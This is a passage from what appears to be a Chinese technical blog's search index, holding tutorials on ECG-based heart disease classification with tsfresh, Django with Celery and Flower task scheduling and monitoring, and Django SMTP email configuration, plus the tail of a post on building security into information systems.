d）对安全设施同步实施配置管理，包括制定配置管理计划，制定、记录、维护基线配置，保留基线配置的历史版本，便于必要时恢复历史配置。\n博客地址：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2023-02-06-%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E4%BF%9D%E9%9A%9C%E4%B9%8B%E4%B8%89%E5%90%8C%E6%AD%A5/","summary":"\u003cblockquote\u003e\n\u003cp\u003e建设关键信息基础设施应当确保其具有支持业务稳定、持续运行的性能，并保证安全技术措施同步规划、同步建设、同步使用。\n\u003cp align='right'\u003e\u0026ndash;《网络安全法》第三十三条 \u003c/p\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e信息系统的生命周期层面和安全保障要素层面不是相互孤立的，而是相互关联、密不可分的。\n\u003cimg alt=\"信息系统安全保障生命周期的安全保障要素\" loading=\"lazy\" src=\"http://image2.ishareread.com/images/2023/20230206/%E4%BF%A1%E6%81%AF%E7%B3%BB%E7%BB%9F%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F%E6%A8%A1%E5%9E%8B.png\"\u003e\n在信息系统生命周期模型中，将信息系统的整个生命周期抽象成计划组织、开发采购、实施交付、运行维护和废弃5个阶段，加上在运行维护阶段的变更产生的反馈，形成信息系统生命周期完整的闭环结构。在信息系统生命周期中的任何时间点上，都需要综合信息系统安全保障的技术、管理、工程和人员保障要素。从信息系统建设开始，就应该综合考虑系统的安全保障要求，确保信息系统建设和信息系统安全保障建设同步规划、同步实施。也就是我们平时讲的\u003cstrong\u003e信息系统和安全保障要“三同步”\u0026ndash;同步规划、同步建设、同步使用\u003c/strong\u003e。\u003c/p\u003e","title":"网络安全保障之“三同步”"},{"content":"最近有位做医疗项目的同学咨询有一批人员的身高、体重、性别、年龄、心电图、是否有心脏病等数据是否可以根据这些数据预测某个人是否有心脏病的迹象。这当然是可以的，AI机器学习不就是干这事的吗？这是一个典型的分类算法。根据这些人体特征来判断是否存在潜在的疾病。问题是如何对心电图进行特征提取，提取出相关的特征，让模型进行学习和训练。\n拿到数据后，第一步，我们首先来看一下数据。\n一、数据探索 1、读入数据 导入numpy、pandas、matplotlib三大件，读入数据\n1 2 3 4 5 import numpy as np import pandas as pd import matplotlib.pyplot as plt df=pd.read_csv(\u0026#39;data_csv.csv\u0026#39;) df 数据集中有age年龄、ismale性别、Weight身高、Height体重、HRTrend心电图、label是否有心脏病（1，是有心脏病、0是无心脏病） 这里看到主要的几个关键性的指标。HRTrend是csv中载入的时候数据是文本字符串格式，还有nan及\\n等字符串，我们要将这些数据进行清洗规则化，将其转化为数组。\n2、数据处理 先拿一个样本数据来看看数据的情况。对它进行相应的处理，包括去掉回车换行符、去多余空格、然后以空格作为分隔形成数组。\n1 2 3 4 5 6 7 HRTrend_Data=df[\u0026#39;HRTrend\u0026#39;][1][1:len(df[\u0026#39;HRTrend\u0026#39;][1])-1] HRTrend_Data=HRTrend_Data.replace(\u0026#39;\\n\u0026#39;,\u0026#39;\u0026#39;) #替换掉换行符 HRTrend_Data=HRTrend_Data.replace(\u0026#39;nan\u0026#39;,str(0)) #将nan补0 HRTrend_Data=re.sub(\u0026#39; +\u0026#39;, \u0026#39; \u0026#39;, HRTrend_Data).strip() #去掉多余的空格 HRTrend_Data=np.asarray([float(s) for s in HRTrend_Data.split(\u0026#39; \u0026#39;)]) #将字符串通过空格分隔，转换成数组 pd.DataFrame(HRTrend_Data).plot() HRTrend_Data 这个图形不是很规则不平滑，看数据是因为异常值太多，后面的数据都是0，这些0都是因为数据为Non补充进来的，有可能是应为数据采集的时候某个点位没有采集到。我们需要将这些异常值给处理掉。 对于中间为0的，我们可以通过采用前值填充或者后值填充（也就是用前面的值或后面的值来替代为0的值），后面全部为0的部分要去掉。应为会影响到一些关键性的特征，如均值、50%的值、70%的值等。\n1 2 df_HRTrend1=pd.DataFrame(HRTrend_Data) df_HRTrend1.describe() 可以看到，这些异常值将会很大程度的影响一些关键特征，所以我们要处理异常值。\n1 2 3 4 5 HRTrend_Data=np.trim_zeros(HRTrend_Data) #去掉首尾的0 df_data1=pd.DataFrame(HRTrend_Data) df_data1.replace(to_replace=0, method=\u0026#39;ffill\u0026#39;,inplace=True) #用前值替换掉中间的异常0 df_data1.plot() df_data1.describe() 把刚对一个样本处理的过程写成一个函数，应用到所有的样本数据。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 def procdata(df_dataclumn): ary_data=df_dataclumn[1:len(df_dataclumn)-1] ary_data=ary_data.replace(\u0026#39;\\n\u0026#39;,\u0026#39;\u0026#39;) ary_data=ary_data.replace(\u0026#39;nan\u0026#39;,str(0)) ary_data=re.sub(\u0026#39; +\u0026#39;, \u0026#39; \u0026#39;, ary_data).strip() ary_data=np.asarray([float(s) for s in ary_data.split(\u0026#39; \u0026#39;)]) ary_data=np.trim_zeros(ary_data) df_data=pd.DataFrame(ary_data) df_data.replace(to_replace=0, method=\u0026#39;ffill\u0026#39;,inplace=True) ary_data=df_data.values return ary_data df[\u0026#39;HRTrend\u0026#39;]=df[\u0026#39;HRTrend\u0026#39;].map(procdata) df[\u0026#39;Weight\u0026#39;].replace(to_replace=0, method=\u0026#39;ffill\u0026#39;,inplace=True) #去异常值 df[\u0026#39;Height\u0026#39;].replace(to_replace=0, method=\u0026#39;ffill\u0026#39;,inplace=True) #去异常值 df 找前六个样本看看效果\n1 2 3 4 5 6 fig,axes = plt.subplots(2,3,figsize=(12,4)) i=0 for x in range(2): for y in range(3): i=i+1 axes[x,y].plot(df[\u0026#39;HRTrend\u0026#39;][i]) 二、特征工程及模型训练 方法一：通过描叙统计提取时序特征并进行模型训练 特征提取 有量纲时序特征提取包括以内容。 可以看到，大部分内容都可以通过describe()获取。可以写个函数方法来获取相关的特征值。\n1 2 3 4 5 6 7 8 9 10 def getdescribefeatures(data): df_feature=pd.DataFrame(data) df_feature=df_feature.describe().T range=df_feature[\u0026#39;max\u0026#39;][0]-df_feature[\u0026#39;min\u0026#39;][0] return range,df_feature[\u0026#39;count\u0026#39;][0],df_feature[\u0026#39;mean\u0026#39;][0],df_feature[\u0026#39;std\u0026#39;][0],df_feature[\u0026#39;min\u0026#39;][0],df_feature[\u0026#39;25%\u0026#39;][0],df_feature[\u0026#39;50%\u0026#39;][0],df_feature[\u0026#39;75%\u0026#39;][0],df_feature[\u0026#39;max\u0026#39;][0] HRTrend_np=np.array(df[\u0026#39;HRTrend\u0026#39;]) HRTrend_features_ary=[getdescribefeatures(d) for d in HRTrend_np] df_HRTrend_features=pd.DataFrame(HRTrend_features_ary,columns=[\u0026#39;HRTrend\u0026#39;+str(i) for i in range(len(HRTrend_features_ary[0]))]) df_HRTrend_features 将心电图提出的统计信息特征与年龄、性别、身高、体重等特征合并，形成特征集。\n1 df_data=df[[\u0026#39;age\u0026#39;,\u0026#39;ismale\u0026#39;,\u0026#39;Weight\u0026#39;,\u0026#39;Height\u0026#39;,\u0026#39;label\u0026#39;]].join(df_HRTrend_features) 预留15个样本做最后的预测看效果。\n1 2 df_train_data=df_data[0:len(df_data)-15] #训练数据 df_predict_data=df_data[len(df_data)-15:len(df_data)] #用于预测的数据 模型训练 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from sklearn.metrics import f1_score from sklearn.metrics import recall_score from sklearn.metrics import accuracy_score from sklearn.svm import SVC from sklearn.neighbors import KNeighborsClassifier x_tt, x_validation, y_tt, y_validation = train_test_split(x, y, test_size=0.2) # 将训练集再切分为训练集和测试集 x_train, x_test, y_train, y_test = train_test_split(x_tt, y_tt, test_size=0.25) #将模型的名字和模型函数作为元组添加到列表当中存储； models = [] models.append((\u0026#34;KNN\u0026#34;,KNeighborsClassifier(n_neighbors=3))) #指定邻居个数 models.append((\u0026#34;SVM Classifier\u0026#34;,SVC(C=1000))) #可以通过参数C来控制精度，C越大要求精度越高； C——错分点的惩罚度 #循环调用所有模型进行训练、预测 for clf_name, clf in models: clf.fit(x_train, y_train) xy_lst = [(x_train, y_train), (x_validation, y_validation), (x_test, y_test)] for i in range(len(xy_lst)): x_part = xy_lst[i][0] # 为遍历中的第0部分 y_part = xy_lst[i][1] # 为遍历中的第1部分 y_pred = clf.predict(x_part) print(i) # i是下标，0表示训练集，1表示验证集，2表示测试集 print(clf_name, \u0026#34;ACC:\u0026#34;, accuracy_score(y_part, y_pred)) print(clf_name, \u0026#34;REC:\u0026#34;, recall_score(y_part, y_pred)) print(clf_name, \u0026#34;F-score:\u0026#34;, f1_score(y_part, y_pred)) 结果如下： SVM分类模型的效果要稍好于KNN的模型，但整体效果还不是很好。应该是提取的特征还是不够。我们来试下通过tsfresh提取时序特征并进行模型训练。\n方法二：通过tsfresh提取时序特征并进行模型训练 特征提取 tsfresh可以自动提取各种时间特征，可以参考官方文档，一般的取最大、最小、偏度、峰度等统计指标这些都自动化集成了。 https://tsfresh.readthedocs.io/en/latest/text/introduction.html 通过tsfresh提取时序特征代码如下：\n1 2 3 4 5 6 7 8 9 10 11 12 from tsfresh import extract_features from tsfresh import select_features dfx_HRTrend=pd.DataFrame() for i in df.index: df_i=pd.DataFrame(df[\u0026#39;HRTrend\u0026#39;][i],columns=[\u0026#39;HRTrend\u0026#39;]) df_i[\u0026#39;id\u0026#39;]=i df_i[\u0026#39;time\u0026#39;]=np.array(range(1,len(df_i)+1)) df_i[\u0026#39;label\u0026#39;]=df[\u0026#39;label\u0026#39;][i] dfx_HRTrend=pd.concat(objs=[dfx_HRTrend,df_i]) dfx_xtracted_features = extract_features(dfx_HRTrend,column_id=\u0026#34;id\u0026#34;, column_sort=\u0026#34;time\u0026#34;) dfx_xtracted_features 可以看到tsfresh自动提取了1574colums的特征，但是我们要选取与标签有相关性的特征。tsfresh可以自动做到这一点，通过tsfresh的select_features传入特征和标签来选择与标签有相关性的特征，\n1 2 3 4 from tsfresh.utilities.dataframe_functions import impute impute(dfx_xtracted_features) df_HRTrend_features = select_features(dfx_xtracted_features, df[\u0026#39;label\u0026#39;]) df_HRTrend_features 通过特征选择自动选取了有相关性的143个特征，比前面缩减了很多，有利于提高模型训练的效率和精度。 我们再来看一下模型训练的效果。 同样将心电图通过tsfresh提出的时序特征与年龄、性别、身高、体重等特征合并，形成特征集。\n1 df_data=df[[\u0026#39;age\u0026#39;,\u0026#39;ismale\u0026#39;,\u0026#39;Weight\u0026#39;,\u0026#39;Height\u0026#39;,\u0026#39;label\u0026#39;]].join(df_HRTrend_features) 预留15个样本做最后的预测看效果。\n1 2 df_train_data=df_data[0:len(df_data)-15] #训练数据 df_predict_data=df_data[len(df_data)-15:len(df_data)] #用于预测的数据 模型训练\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from sklearn.metrics import f1_score from sklearn.metrics import recall_score from sklearn.metrics import accuracy_score from sklearn.svm import SVC from sklearn.neighbors import KNeighborsClassifier x_tt, x_validation, y_tt, y_validation = train_test_split(x, y, test_size=0.2) # 将训练集再切分为训练集和测试集 x_train, x_test, y_train, y_test = train_test_split(x_tt, y_tt, test_size=0.25) #将模型的名字和模型函数作为元组添加到列表当中存储； models = [] models.append((\u0026#34;KNN\u0026#34;,KNeighborsClassifier(n_neighbors=3))) #指定邻居个数 models.append((\u0026#34;SVM Classifier\u0026#34;,SVC(C=1000))) #可以通过参数C来控制精度，C越大要求精度越高； C——错分点的惩罚度 #循环调用所有模型进行训练、预测 for clf_name, clf in models: clf.fit(x_train, y_train) xy_lst = [(x_train, y_train), (x_validation, y_validation), (x_test, y_test)] for i in range(len(xy_lst)): x_part = xy_lst[i][0] # 为遍历中的第0部分 y_part = xy_lst[i][1] # 为遍历中的第1部分 y_pred = clf.predict(x_part) print(i) # i是下标，0表示训练集，1表示验证集，2表示测试集 print(clf_name, \u0026#34;ACC:\u0026#34;, accuracy_score(y_part, y_pred)) print(clf_name, \u0026#34;REC:\u0026#34;, recall_score(y_part, y_pred)) print(clf_name, \u0026#34;F-score:\u0026#34;, f1_score(y_part, y_pred)) 结果如下： 可以看到不管是KNN模型和SVM的模型都取得了不错的效果。\n三、效果 最后我们来看一下，用预留的15个样本预测的效果。\n1 2 3 4 5 6 7 8 9 10 11 pre_test_y=df_predict_data[\u0026#39;label\u0026#39;] pre_test_x=df_predict_data.drop(columns=\u0026#39;label\u0026#39;) for clf_name, clf in models: for i in pre_test_x.index: y_predict=clf.predict(pre_test_x.loc[[i]]) predict_result=\u0026#39;预测错误！\u0026#39; if y_predict==pre_test_y.loc[[i]].values: predict_result=\u0026#39;预测正确！\u0026#39; print(\u0026#39;第\u0026#39;+str(i)+\u0026#39;个样本\u0026#39;+clf_name+\u0026#39; 预测y=\u0026#39;+str(y_predict)+\u0026#39;--实际 y=\u0026#39;+str(pre_test_y.loc[[i]].values)+\u0026#39; - \u0026#39;+predict_result) print(\u0026#39;-\u0026#39;*10) 先是通过描叙统计提取时序特征并进行模型训练后模型预测的结果： 还是有不少预测错误了。 再来看通过tsfresh提取时序特征并进行模型训练后模型预测的结果： 可以看到预留的15个样本都预测正确，取得了不错的效果！\n本文通过心电图分类模型介绍了从数据处理、时序特征提取、模型训练和效果评估。验证了对于小数据量，通过tsfresh提取时序特征，往往能够取得很好的效果。\n全部源代码及数据集见：https://download.csdn.net/download/fullbug/87369380\n博客地址：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2023-01-06-ai%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0%E6%97%B6%E5%BA%8F%E5%BA%8F%E5%88%97%E7%89%B9%E5%BE%81%E6%8F%90%E5%8F%96%E5%AE%9E%E7%8E%B0%E5%88%86%E7%B1%BB%E9%A2%84%E6%B5%8B%E5%AE%9E%E6%88%98/","summary":"\u003cp\u003e最近有位做医疗项目的同学咨询有一批人员的身高、体重、性别、年龄、心电图、是否有心脏病等数据是否可以根据这些数据预测某个人是否有心脏病的迹象。这当然是可以的，AI机器学习不就是干这事的吗？这是一个典型的分类算法。根据这些人体特征来判断是否存在潜在的疾病。问题是如何对心电图进行特征提取，提取出相关的特征，让模型进行学习和训练。\u003c/p\u003e","title":"AI机器学习时序序列特征提取实现分类预测实战"},{"content":"用Django框架进行web开发非常的快捷方便，但Django框架请求/响应是同步的。但我们在实际项目中经常会碰到一些耗时的不能立即返回请求结果任务如：数据爬取、发邮件等，如果常时间等待对用户体验不是很好，在这种情况下就需要实现异步实现，马上返回响应请求，但真正的耗时任务在后台异步执行。Django框架本身无法实现异步响应但可以通过Celery很快的实现异步和定时任务。本文将介绍如何通过Django+Celery+Flower实现异步和定时任务及其任务的监控告警。\n常见的任务有两类，一类是异步任务，一类是定时任务（定时执行或按一定周期执行）。Celery都能很好的支持。\nCelery 是一个 基于python开发的分布式异步消息任务队列，通过它可以轻松的实现任务的异步处理， 如果你的业务场景中需要用到异步任务，就可以考虑使用celery， 举几个实例场景中可用的例子:\n异步任务：将耗时的操作任务提交给Celery去异步执行，比如发送短信/邮件、消息推送、音频处理等等 做一个定时任务，比如每天定时执行爬虫爬取指定内容 Celery 在执行任务时需要通过一个消息中间件（Broker）来接收和发送任务消息，以及存储任务结果， 一般使用rabbitMQ、Redis或其他DB。\n本文使用redis作为消息中间件和结果存储，在后面的通过数据库监控任务执行案例将介绍用到数据库作为结果存储。\n一、在Django中引入Celary 1、安装库 1 2 3 pip install celery pip install redis pip install eventlet #在windows环境下需要安装eventlet包 2、引入celary 在主项目目录下，新建celary.py文件，内容如下：\n1 2 3 4 5 6 7 8 9 10 11 12 13 import os import django from celery import Celery from django.conf import settings # 设置系统环境变量，否则在启动celery时会报错 # taskproject 是当前项目名 os.environ.setdefault(\u0026#39;DJANGO_SETTINGS_MODULE\u0026#39;, \u0026#39;taskproject.settings\u0026#39;) django.setup() celery_app = Celery(\u0026#39;taskproject\u0026#39;) celery_app.config_from_object(\u0026#39;django.conf:settings\u0026#39;) celery_app.autodiscover_tasks(lambda: settings.INSTALLED_APPS) 在主目录的__init__.py中添加如下代码：\n1 2 3 from .celery import celery_app __all__ = [\u0026#39;celery_app\u0026#39;] 3、在settings.py中设置celery的相关参数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 ###----Celery redis 配置-----### # Broker配置，使用Redis作为消息中间件 BROKER_URL = \u0026#39;redis://:redispassword@127.0.0.1:6379/0\u0026#39; # BACKEND配置，使用redis CELERY_RESULT_BACKEND = \u0026#39;redis://:redispassword@127.0.0.1:6379/1\u0026#39; CELERY_ACCEPT_CONTENT=[\u0026#39;json\u0026#39;] CELERY_TASK_SERIALIZER=\u0026#39;json\u0026#39; # 结果序列化方案 CELERY_RESULT_SERIALIZER = \u0026#39;json\u0026#39; # 任务结果过期时间，秒 CELERY_TASK_RESULT_EXPIRES = 60 * 60 * 24 # 时区配置 CELERY_TIMEZONE = \u0026#39;Asia/Shanghai\u0026#39; 这时候Celery的基本配置完成了，可以实现并添加任务了。\n二、实现异步任务 1、创建tasks.py 在子应用下建立各自对应的任务文件tasks.py(必须是tasks.py这个名字，不允许修改)\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import datetime from time import sleep from celery import shared_task import logging logger = logging.getLogger(__name__) @shared_task() def task1(x): for i in range(int(x)): sleep(1) logger.info(\u0026#39;this is task1 \u0026#39;+str(i)) return x @shared_task def scheduletask1(): now = datetime.datetime.now() logger.info(\u0026#39;this is scheduletask \u0026#39;+now.strftime(\u0026#34;%Y-%m-%d %H:%M:%S\u0026#34;)) return None 在tasks.py中我们定义了两个任务，这两个任务要用@shared_task装饰起来，否则celery无法管理。 为了放便执行我们通过views把这两个任务通过函数方法调用起来，用URL进行发布。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 views.py from django.http import JsonResponse from . import tasks # Create your views here. def runtask(request): x=request.GET.get(\u0026#39;x\u0026#39;) tasks.task1.delay(x) content= {\u0026#39;200\u0026#39;: \u0026#39;run task1 success!---\u0026#39;+str(x)} return JsonResponse(content) def runscheduletask(request): tasks.scheduletask1.delay() content= {\u0026#39;200\u0026#39;: \u0026#39;success！\u0026#39;} return JsonResponse(content) 在urls中加入路由进行发布\n1 2 3 4 5 6 7 8 from django.urls import path from taskapp import views urlpatterns = [ path(\u0026#39;task\u0026#39;, views.runtask), path(\u0026#39;runscheduletask\u0026#39;, views.runscheduletask), ] 在项目的主urls中加入子项目的urls 2、启动celery 在启动celery之前，先要启动redis服务，因为celery在settings中配置要用到redis作为消息中间件和结果存储。 windows环境下启动redis的命令为redis-server.exe redis.windows.conf\n在控制台启动celery的worker\n1 celery -A taskproject worker -l debug -P eventlet 启动django访问url调用任务，看异步效果 3、查看任务 控制台查看异步任务执行的情况，可以看web的url很快返回响应结果，后台控制台一直在执行异步任务。 三、实现定时任务 Celery实现定时任务也很方便\n1、定义调度器 在settings.py中加入定时任务的定义就可以实现定时任务\n1 2 3 4 5 6 7 8 9 10 11 from celery.schedules import crontab CELERYBEAT_SCHEDULE = { \u0026#39;every_5_seconds\u0026#39;: { # 任务路径 \u0026#39;task\u0026#39;: \u0026#39;taskapp.tasks.scheduletask1\u0026#39;, # 每5秒执行一次 \u0026#39;schedule\u0026#39;: 5, \u0026#39;args\u0026#39;: () } } 这里这个scheduletask1是前面tasks.py中定义的任务，当然也可以定义多个定时任务，如加一个task1，task1是有参数的，可以在\u0026rsquo;args\u0026rsquo;: ()中传入参数\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 CELERYBEAT_SCHEDULE = { \u0026#39;every_5_seconds\u0026#39;: { # 任务路径 \u0026#39;task\u0026#39;: \u0026#39;taskapp.tasks.scheduletask1\u0026#39;, # 每5秒执行一次 \u0026#39;schedule\u0026#39;: 5, \u0026#39;args\u0026#39;: () }, \u0026#39;every_10_seconds\u0026#39;: { # 任务路径 \u0026#39;task\u0026#39;: \u0026#39;taskapp.tasks.task1\u0026#39;, # 每10秒执行一次,task1的参数是5 \u0026#39;schedule\u0026#39;: 10, \u0026#39;args\u0026#39;: ([5]) } } 这里定义了task1是10秒执行一次，传入的参数是5。\n2、启动beat 需要保持worker进程，另外开一个控制台启动beat\n1 celery -A taskproject beat -l debug 3、查看任务 启动任务后看控制台打印的日志task1和scheduletask1都按计划定时执行了。 三、通过数据库配置定时任务 虽然通过settings.py的配置可以实现定时任务的配置，做为实际项目中可能还是不够实用，更加工程化的做法是将定时任务的配置放到数据库里通过界面来配置。同样Celery对此也提供了很好的支持，这需要安装django-celery-beat插件。以下将介绍使用过程。\n1、安装djiango-celery-beat 1 pip install django-celery-beat 2、在APP中注册djiango-celery-beat 1 2 3 4 INSTALLED_APPS = [ .... \u0026#39;django_celery_beat\u0026#39;, ] 3、在settings.py中设置调度器及时区 在settings.py中屏蔽到原来的调度器，加入\n1 CELERYBEAT_SCHEDULER = \u0026#39;django_celery_beat.schedulers.DatabaseScheduler\u0026#39; 在setings.py中设置好语言、时区等\n1 2 3 4 5 6 7 LANGUAGE_CODE = \u0026#39;zh-hans\u0026#39; TIME_ZONE = \u0026#39;Asia/Shanghai\u0026#39; USE_I18N = True USE_TZ = False 4、进行数据库迁移 1 python manage.py migrate django_celery_beat 5、分别启动woker和beta 在两个控制台分别启动woker和beta\n1 celery -A taskproject worker -l debug -P eventlet 1 celery -A taskproject beat -l debug 6、启动django服务，访问admin的web管理端 访问 http://localhost:8000/admin/ 可以看到周期任务的管理菜单，管理定时任务非常方便。 7、配置定时任务 点击“间隔” 点击“增加间隔”来增加定时任务的配置，增加一个5秒执行一次的定时器。 看到有个每5秒的定时器 这时可以用这个定时器去新建调度任务了。选择周期性任务，点击“增加周期性任务” 填入任务名，选择需要定时执行的任务 因为task1需要参数，在后面参数设置中进行参数的设置。 保存后可以看到新加了一条“每5秒执行一次task1”的调度任务。 8、查看调度效果 在woker和beta的控制台都可以看到有定时任务执行的信息，说明任务被成功调度执行了。 四、通过django的web界面监控任务执行情况 在控制台监控任务执行情况，还不是很方便，最好是能够通过web界面看到任务的执行情况，如有多少任务在执行，有多少任务执行失败了等。这个Celery也是可以做到了，就是将任务执行结果写到数据库中，通过web界面显示出来。这里要用到django-celery-results插件。通过插件可以使用Django的orm作为结果存储，这样的好处在于我们可以直接通过django的数据查看到任务状态，同时为可以制定更多的操作，下面介绍如何使用orm作为结果存储。\n1、安装django-celery-results 1 pip install django-celery-results 2、配置settings.py，注册app 1 2 3 4 INSTALLED_APPS = ( ..., \u0026#39;django_celery_results\u0026#39;, ) 3、修改backend配置，将Redis改为django-db 1 2 3 4 # BACKEND配置，使用redis #CELERY_RESULT_BACKEND = \u0026#39;redis://:12345678@127.0.0.1:6379/1\u0026#39; # 使用使用django orm 作为结果存储 CELERY_RESULT_BACKEND = \u0026#39;django-db\u0026#39; #使用django orm 作为结果存储 4、迁移数据库 1 python manage.py migrate django_celery_results 可以看到创建了django_celery_results相关的表 5、查看任务 启动django服务后，执行异步和定时任务，就可以在管理界面看到任务的执行情况，执行了哪些任务，哪些任务执行失败了等。 五、通过Flower监控任务执行情况 如果不想通django的管理界面监控任务的执行，还可以通过Flower插件来进行任务的监控。FLower的界面更加丰富，可以监控的信息更全。以下介绍通过Flower来进行任务监控。\n1、安装flower 1 pip install flower 2、启动flower 1 celery -A taskproject flower --port-5566 3、使用flower进行任务监控 点击失败的我们可以看到执行失败的详情，这里是故意给task1的参数传了个‘a’字符，导致它执行报错了。可以看到任务执行的报错信息也展示出来了。 六、实现任务异常自动邮件告警 虽然可以通过界面来监控了，但是我们想要得更多，人不可能天天盯着界面看吧，如果能实现任务执行失败就自动发邮件告警就好了。这个Celery当然也是没有问题的。 通过钩子程序在异常的时候触发邮件通知。\n1、加入钩子程序 对tasks.py的改造如下：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import datetime from time import sleep from celery import shared_task from celery import Task from django.core.mail import send_mail import logging logger = logging.getLogger(__name__) class MyHookTask(Task): def on_success(self, retval, task_id, args, kwargs): info=f\u0026#39;任务成功-- 0task id:{task_id} , arg:{args} , successful !\u0026#39; logger.info(info) send_mail(\u0026#39;celery任务监控\u0026#39;, info, \u0026#39;sendmail@qq.com\u0026#39;, [\u0026#39;tomail@qq.com\u0026#39;]) def on_failure(self, exc, task_id, args, kwargs, einfo): info=f\u0026#39;任务失败-- task id:{task_id} , arg:{args} , failed ! erros: {exc}\u0026#39; logger.info(info) send_mail(\u0026#39;celery任务监控异常\u0026#39;, info, \u0026#39;sendmail@qq.com\u0026#39;, [\u0026#39;tomail@qq.com\u0026#39;]) def on_retry(self, exc, task_id, args, kwargs, einfo): logger.info(f\u0026#39;task id:{task_id} , arg:{args} , retry ! erros: {exc}\u0026#39;) @shared_task(base=MyHookTask, bind=True) def task1(self,x): for i in range(int(x)): sleep(1) logger.info(\u0026#39;this is task1 \u0026#39;+str(i)) return x @shared_task def scheduletask1(): now = datetime.datetime.now() logger.info(\u0026#39;this is scheduletask \u0026#39;+now.strftime(\u0026#34;%Y-%m-%d %H:%M:%S\u0026#34;)) return None 2、重启服务 将work和beta服务关掉，在两个控制台分别重新启动woker和beta\n1 celery -A taskproject worker -l debug -P eventlet 1 celery -A taskproject beat -l debug 3、验证效果 在任务成功或失败的时候发邮件通知。 任务执行成功通知 任务执行异常告警通知 Django如何发送邮件见 https://blog.csdn.net/fullbug/article/details/128495415\n至此，本文通过几个简单的应用介绍了Django+Celery+Flower实现异步和定时任务及其监控告警。\n博客地址：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2023-01-06-django-celery-flower%E5%AE%9E%E7%8E%B0%E5%BC%82%E6%AD%A5%E5%92%8C%E5%AE%9A%E6%97%B6%E4%BB%BB%E5%8A%A1%E5%8F%8A%E5%85%B6%E7%9B%91%E6%8E%A7%E5%91%8A%E8%AD%A6/","summary":"\u003cp\u003e用Django框架进行web开发非常的快捷方便，但Django框架请求/响应是同步的。但我们在实际项目中经常会碰到一些耗时的不能立即返回请求结果任务如：数据爬取、发邮件等，如果常时间等待对用户体验不是很好，在这种情况下就需要实现异步实现，马上返回响应请求，但真正的耗时任务在后台异步执行。Django框架本身无法实现异步响应但可以通过Celery很快的实现异步和定时任务。本文将介绍如何通过Django+Celery+Flower实现异步和定时任务及其任务的监控告警。\u003c/p\u003e","title":"Django+Celery+Flower实现异步和定时任务及其监控告警"},{"content":"通过Django发送邮件非常的简单，在Python中已经内置了一个smtplib邮件发送模块，Django在此基础上进行了简单地封装，我们可以在Django的环境中方便的发送邮件。大部分邮件发送成功主要是邮件的参数配置，本文以常用的126邮箱和QQ邮箱为例介绍Django发送邮件的配置，其他提供smtp邮件服务的邮箱都是一样的。\n一、Django邮件配置 用Django发送邮件需要告诉你的邮件服务器相应的参数配置，需要在settings.py中进行配置好。 默认情况下，使用配置文件中的EMAIL_HOST和EMAIL_PORT设置SMTP服务器主机和端口，EMAIL_HOST_USER和 EMAIL_HOST_PASSWORD是用户名和密码。如果设置了EMAIL_USE_TLS和EMAIL_USE_SSL，它们将控制是否使用相应的加密链接。 典型的配置如下：\n1 2 3 4 5 EMAIL_BACKEND = \u0026#39;django.core.mail.backends.smtp.EmailBackend\u0026#39; EMAIL_HOST = \u0026#39;smtp.126.com\u0026#39; #126邮箱的邮箱服务地址 EMAIL_PORT = 25 #端口，大部分都是默认25 EMAIL_HOST_USER = \u0026#39;yourmail@126.com\u0026#39; #这里是你的邮箱账号 EMAIL_HOST_PASSWORD = \u0026#39;yourpassword\u0026#39; #注意这里不能用你邮箱账号的密码，而要用申请的设备授权码。 这里要注意的两个地方，一个是EMAIL_PORT端口、一个是EMAIL_HOST_PASSWORD密码。 端口一般默认是25，但有些邮箱改了默认端口或需要用加密链接465、578端口，可以从邮件服务商查到。 密码以前可以用邮箱账号密码，但这几年随着安全要求的提高，大部分主要的邮件服务提供商都要用申请的授权码进一步加强安全系数。 这里介绍这些关键的信息如何在邮件服务商获取。\n注意EMAIL_HOST_PASSWORD这里不能用你邮箱账号的密码，而要用申请的设备授权码。\n126邮箱 进入到邮箱配置界面，点击“POP3/SMTP/IMAP”，注意要开启SMTP。 授权码是用于登录第三方邮件客户端的专用密码，点击\u0026quot;新增授权密码\u0026quot;，降会弹出一个账号安全验证，扫描后可以快速的发短信。 用你的注册手机发完短信后点击\u0026quot;我已发送\u0026quot;就会弹出一个授权码的窗口，要把这个授权码记下来，这个窗口只显示一次。 QQ邮箱 进入到QQ邮箱WEB界面后点击“设置”，点击“邮件设置”的“账户”页签拉到“账户安全”处就可以看到相关的SMTP服务信息\n点击“生成授权码”，将弹出验证密保的界面。 根据提示发送短信后，点击我已发送，将会弹出生成授权码的界面显示授权码。 如果需要SSL加密方式，可以进一步查看服务商的SMTP服务说明 如QQ邮箱的服务说明 https://service.mail.qq.com/cgi-bin/help?subtype=1\u0026amp;\u0026amp;id=28\u0026amp;\u0026amp;no=331 看到使用SSL，端口号是465或587\n1 2 3 4 5 6 EMAIL_BACKEND = \u0026#39;django.core.mail.backends.smtp.EmailBackend\u0026#39; EMAIL_HOST = \u0026#39;smtp.qq.com\u0026#39; #QQ邮箱的smtp服务器 EMAIL_PORT = 465 #端口为465或587 EMAIL_USE_SSL = True #SSL加密方式设置为True EMAIL_HOST_USER = \u0026#39;yourmail@qq.com\u0026#39; #这里是你的邮箱账号 EMAIL_HOST_PASSWORD = \u0026#39;yourpassword\u0026#39; #注意这里不能用你邮箱账号的密码，而要用申请的设备授权码。 二、测试发送邮件 可以用django的环境在shell中测试。\n1 2 3 python manage.py shell from django.core.mail 